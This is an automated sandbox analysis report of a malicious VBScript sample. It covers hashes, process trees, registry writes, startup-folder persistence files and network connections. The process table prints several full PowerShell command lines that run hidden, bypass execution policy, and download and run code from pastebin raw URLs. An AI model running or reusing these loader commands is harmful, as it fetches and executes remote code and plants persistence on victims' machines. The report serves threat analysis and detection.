| File name: | pastebin.vbs |
| Full analysis: | https://app.any.run/tasks/ca617851-eb74-47aa-9ff3-bb3ed36afefa |
| Verdict: | Malicious activity |
| Analysis date: | October 14, 2019, 18:20:59 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 783DC5DB24E52BB48A46302D74469076 |
| SHA1: | 47A5F6D89CED9DF09DCD8FEFDBAFBBB6099347CB |
| SHA256: | 0DDBC93151AD54E112D32A11899A45B0C2E9940DF9B600DD062B7B0815280A34 |
| SSDEEP: | 24:/RHRjC+PGnWxLc9WhA9tPNAONAuq3Er5L81WqKj2SVNR5r/81WqKj2Sh8vgpLdx3:/bjbSE6wA9pNAONAu/r5L81WqKSSVT5h |
MALICIOUS
Writes to a start menu file
- WScript.exe (PID: 2092)
Executes PowerShell scripts
- cmd.exe (PID: 1244)
- cmd.exe (PID: 3880)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WScript.exe (PID: 2132)
- WScript.exe (PID: 2336)
Application launched itself
- WScript.exe (PID: 2092)
Creates files in the user directory
- WScript.exe (PID: 2092)
- powershell.exe (PID: 1484)
- powershell.exe (PID: 2748)
Executes scripts
- WScript.exe (PID: 2092)
INFO
Reads settings of System Certificates
- powershell.exe (PID: 2748)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
43
Monitored processes
7
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1244 | "C:\Windows\System32\cmd.exe" /c Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.downloadString('https://pastebin.com/raw/Gs48iS1i'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1484 | Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/5hjnPXNw'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2092 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\pastebin.vbs" | C:\Windows\System32\WScript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2132 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DefenderUpdater.vbs" | C:\Windows\System32\WScript.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2336 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbs.vbs" | C:\Windows\System32\WScript.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2748 | Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.downloadString('https://pastebin.com/raw/Gs48iS1i'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3880 | "C:\Windows\System32\cmd.exe" /c Powershell -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString('https://pastebin.com/raw/5hjnPXNw'));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 234
Read events
1 065
Write events
169
Delete events
0
Modification events
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\p2pcollab.dll,-8042 |
Value: Peer to Peer Trust | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\qagentrt.dll,-10 |
Value: System Health Authentication | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dnsapi.dll,-103 |
Value: Domain Name System (DNS) Server Trust | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\System32\fveui.dll,-843 |
Value: BitLocker Drive Encryption | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\System32\fveui.dll,-844 |
Value: BitLocker Data Recovery Agent | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2092) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2748) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2336) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
4
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2748 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F9BT5KJ8FXI73SBO4E9F.temp | — | |
MD5:— | SHA256:— | |||
| 1484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\92PGEG20JI9R3BF0FPY9.temp | — | |
MD5:— | SHA256:— | |||
| 2748 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39af17.TMP | binary | |
MD5:— | SHA256:— | |||
| 2092 | WScript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DefenderUpdater.vbs | text | |
MD5:— | SHA256:— | |||
| 2748 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1484 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39afa3.TMP | binary | |
MD5:— | SHA256:— | |||
| 2092 | WScript.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbs.vbs | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
6
DNS requests
5
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2092 | WScript.exe | 163.172.46.38:443 | 1.top4top.net | Online S.a.s. | FR | unknown |
2092 | WScript.exe | 163.172.58.164:443 | 4.top4top.net | Online S.a.s. | FR | unknown |
2748 | powershell.exe | 104.22.3.84:443 | pastebin.com | Cloudflare Inc | US | shared |
1484 | powershell.exe | 104.22.3.84:443 | pastebin.com | Cloudflare Inc | US | shared |
1484 | powershell.exe | 163.172.58.164:443 | 4.top4top.net | Online S.a.s. | FR | unknown |
2748 | powershell.exe | 163.172.212.106:443 | 5.top4top.net | Online S.a.s. | NL | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
1.top4top.net |
| suspicious |
4.top4top.net |
| suspicious |
pastebin.com |
| malicious |
5.top4top.net |
| unknown |